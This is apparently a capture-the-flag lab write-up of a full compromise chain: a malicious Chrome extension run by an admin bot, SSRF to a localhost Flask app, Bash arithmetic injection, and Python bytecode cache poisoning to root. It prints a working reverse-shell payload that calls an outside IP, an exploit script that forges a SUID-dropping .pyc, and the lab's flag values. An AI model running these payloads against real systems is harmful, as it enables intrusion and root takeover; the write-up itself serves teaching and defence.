Browsed – Chrome Extension → SSRF → Bash Arithmetic Injection → Python Bytecode Poisoning → Root
0. Summary
Full chain, step by step:
- Full port scan identifies nginx web surface (
80) and SSH (22). - Discover
/upload.phpextension upload + “Send to the developer” workflow. - Confirm developer/admin bot executes uploaded extension (headless Chrome on host).
- Use content-script outbound request to prove code execution + exfiltration channel.
- Enumerate internal services reachable by bot → find
browsedinternals.htb:3000(Gitea). - Read internal source: localhost-only Flask endpoint calls
./routines.sh <rid>. - Exploit Bash arithmetic context in
[[ "$1" -eq N ]]to achieve command execution. - Get reverse shell → foothold as
larry; retrieveuser.txt. - Enumerate sudo: root can run
/opt/extensiontool/extension_tool.pyNOPASSWD. - Abuse world-writable
__pycache__to poisonextension_utilsbytecode and spawn root shell. - Read
/root/root.txtfor proof.
1. Initial Enumeration
1-1. Port Scan
sudo nmap -sV -sC -p- 10.10.8.1 --min-rate=1000
1-2. Key Results
22/tcp– OpenSSH 9.6 (no obvious vuln)80/tcp– nginx 1.24.0- Web title: Browsed
Attack surface
With only a basic SSH banner and an nginx web app, exploitation effort focused entirely on the HTTP application logic.
With only a basic SSH banner and an nginx web app, exploitation effort focused entirely on the HTTP application logic.
2. Chrome Extension Upload & Admin Bot Discovery
2-1. Observation
- Page:
/upload.php - Extension upload accepted as
.zip - “Send to the developer” button triggers server-side processing / review
2-2. Log evidence (core)
- Chrome executed from host filesystem (
/var/www/.config/...) - No sandbox/container isolation observed
- DevTools enabled and listening locally
DevTools listening on ws://127.0.0.1:44639
http://browsedinternals.htb
Why this matters
This confirms a host-level headless Chrome “developer bot” with internal + localhost reachability. If attacker-controlled content runs in that browser, it can act as an SSRF pivot.
This confirms a host-level headless Chrome “developer bot” with internal + localhost reachability. If attacker-controlled content runs in that browser, it can act as an SSRF pivot.
3. Internal Service Enumeration (SSRF Context)
3-1. Internal subdomain
browsedinternals.htb:3000
3-2. Identified service
- Gitea
1.24.5
Conclusion
Admin bot can reach internal developer infrastructure, enabling source inspection and discovery of localhost-only endpoints.
Admin bot can reach internal developer infrastructure, enabling source inspection and discovery of localhost-only endpoints.
4. Content Script Execution Proof (Signal Exfiltration)
4-1. Action
- Modify the uploaded extension’s
content.js - Force an outbound HTTP request to attacker infra
4-2. Evidence
NetworkDelegate::NotifyBeforeURLRequest: http://10.10.14.37/?test=1
What this proves
The uploaded extension is executed in the developer bot’s Chrome context, and it can communicate externally. This gives both a “proof channel” and a mechanism to drive SSRF to internal/localhost services.
The uploaded extension is executed in the developer bot’s Chrome context, and it can communicate externally. This gives both a “proof channel” and a mechanism to drive SSRF to internal/localhost services.
5. SSRF to Localhost (Flask Internal App)
5-1. Discovery (via Gitea source)
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid])
return "Routine executed!"
5-2. Key constraint
- Flask app bound to
127.0.0.1:5000only - Not directly reachable from outside
Pivot
Because the admin bot runs a browser on the target host, attacker-controlled JS can issue requests to
Because the admin bot runs a browser on the target host, attacker-controlled JS can issue requests to
http://127.0.0.1:5000 — effectively turning the bot into a localhost SSRF client.
6. Bash Arithmetic Injection → Command Execution
6-1. Vulnerable snippet (routines.sh)
if [[ "$1" -eq 0 ]]; then
...
elif [[ "$1" -eq 1 ]]; then
...
6-2. Core idea
[[ ... -eq ... ]]forces arithmetic evaluation context- Bash evaluates expressions in arithmetic contexts (including array-style expression parsing)
$(...)command substitution executes before the numeric comparison resolves
6-3. Execution flow
/routines/<payload>
→ Flask subprocess.run()
→ routines.sh "$1"
→ arithmetic evaluation
→ command substitution
→ command execution
6-4. Exploitation Code
// content.js
const target = "http://127.0.0.1:5000/routines/";
const myIp = "10.10.14.37";
// 간단한 테스트용 지연 확인 페이로드
// const payload = "a[$(sleep%205)]";
// 리버스 쉘 페이로드
const cmd = "bash -c 'bash -i>& /dev/tcp/10.10.14.37/4444 0>&1'";
const encoded = btoa(cmd);
const payload = `a[$(echo%20${encoded}|base64%20-d|bash)]`;
fetch(target + payload, { mode: "no-cors" });
Impact
A route parameter that “looks numeric” becomes a command execution primitive once it enters Bash arithmetic evaluation.
A route parameter that “looks numeric” becomes a command execution primitive once it enters Bash arithmetic evaluation.
7. Foothold: User larry
7-1. Shell proof
whoami
# larry
7-2. user.txt
cat ~/user.txt
# bc280ab3380e1d1d8816d5301ba7c723
8. Privilege Escalation Enumeration
8-1. Sudo rights
sudo -l
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Opportunity
A root-executable Python tool is a high-value privesc target—especially if any import paths, writable directories, or cache files can be influenced.
A root-executable Python tool is a high-value privesc target—especially if any import paths, writable directories, or cache files can be influenced.
9. Extension Tool Analysis (Python)
9-1. Directory layout + permissions
/opt/extensiontool/
├── extension_tool.py root:root
├── extension_utils.py root:root
├── extensions/ root:root (group writable)
└── __pycache__/ root:root (WORLD WRITABLE)
Critical design flaw
A world-writable
A world-writable
__pycache__ enables unprivileged users to replace bytecode that root will later import.
9-2. Import structure
from extension_utils import validate_manifest, clean_temp_files
10. Python Bytecode Cache Poisoning (LPE)
10-1. Root cause
- Root runs
extension_tool.pyvia sudo - Imported module bytecode stored in writable cache path
- If a valid
.pycmatches expectations, Python will execute it
10-2. Exploit strategy (high-level)
- Read original
extension_utils.pymetadata (timestamp/size expectations) - Create a malicious module with the same exported functions
- Compile into a matching
extension_utils.cpython-312.pyc - Overwrite the target’s cached bytecode under
/opt/extensiontool/__pycache__/ - Run the root tool → poisoned bytecode imports as root
10-3. /tmp/extensions_utils.py
import os
def validate_manifest(path):
os.system("install -o root -m 4755 /bin/bash /tmp/.sh")
return {}
def clean_temp_files(arg):
pass
######################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################### ... (원본 파일 크기와 정확히 일치하도록 n 개의 # 또는 공백/주석 문자들)
10-4. exploit.py
import os
import py_compile
import shutil
# 경로 설정
ORIG_SRC = "/opt/extensiontool/extension_utils.py"
EVIL_SRC = "/tmp/extension_utils.py"
DEST_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
# 원본 파일 메타데이터 가져오기
stat = os.stat(ORIG_SRC)
target_size = stat.st_size
# malicious payload to initiate a shell with root perm
payload = (
"import os\n"
"def validate_manifest(path):\n"
" os.system(\"install -o root -m 4755 /bin/bash /tmp/.sh\")\n"
" return {}\n"
"def clean_temp_files(arg):\n"
" pass\n"
)
# 크기 정확히 맞추기 위한 패딩 !!!
padding = target_size - len(payload)
payload += "#" * padding
# 악성 소스 파일 생성
with open(EVIL_SRC, "w") as f:
f.write(payload)
# 타임스탬프 동기화 !!!
os.utime(EVIL_SRC, (stat.st_atime, stat.st_mtime))
# .pyc 컴파일 (중간 파일 생성)
py_compile.compile(EVIL_SRC, cfile="/tmp/evil.pyc")
# 기존 .pyc 삭제 후 덮어쓰기
if os.path.exists(DEST_PYC):
os.remove(DEST_PYC)
shutil.copy("/tmp/evil.pyc", DEST_PYC)
print("[+] Poisoned .pyc injected successfully")
Goal
Execute a root-level payload on import (e.g., drop a SUID shell or spawn a root shell directly).
Execute a root-level payload on import (e.g., drop a SUID shell or spawn a root shell directly).
11. Root Shell & Proof
11-1. Root shell
python3 exploit.py
# [+] Poisoned .pyc injected successfully
sudo /opt/extensiontool/extension_tool.py --ext Fontify
# [-] Skipping version bumping
# [-] Skipping packaging
# Let's go.
/tmp/.sh -p
.sh-5.2# whoami
root
11-2. root.txt
cat /root/root.txt
# dee0bcb2d54434b722e22b2ad212baf8
12. Root Causes Summary
| Weakness / Condition | Impact |
|---|---|
| Extension upload processed by a host-level developer/admin bot (headless Chrome) | Attacker-controlled JavaScript executes with internal + localhost network reachability |
| Internal Gitea exposed to the bot | Source disclosure enables discovery of localhost-only execution endpoints |
Flask endpoint executes routines.sh with user-controlled argument |
Direct path to command execution if the script is unsafe |
Bash arithmetic evaluation in [[ "$1" -eq N ]] |
Command substitution can execute prior to numeric comparison → RCE |
Root-executable Python tool with world-writable __pycache__ |
Bytecode poisoning → attacker-controlled code runs as root |
13. Key Takeaways
- “Bot reviews” are privileged execution environments. Treat them as hostile sandboxes, isolate them, and block localhost/internal reachability.
- Browser-based SSRF is real. If attacker code runs inside an internal browser, localhost-only services become reachable.
- Shell arithmetic is not “just a number check.” Unsafe evaluation contexts turn input validation into RCE.
- Never make
__pycache__writable. Import-time bytecode trust becomes a straightforward root escalation.
Overall: a clean, evidence-backed chain from an extension upload workflow to a deterministic root compromise.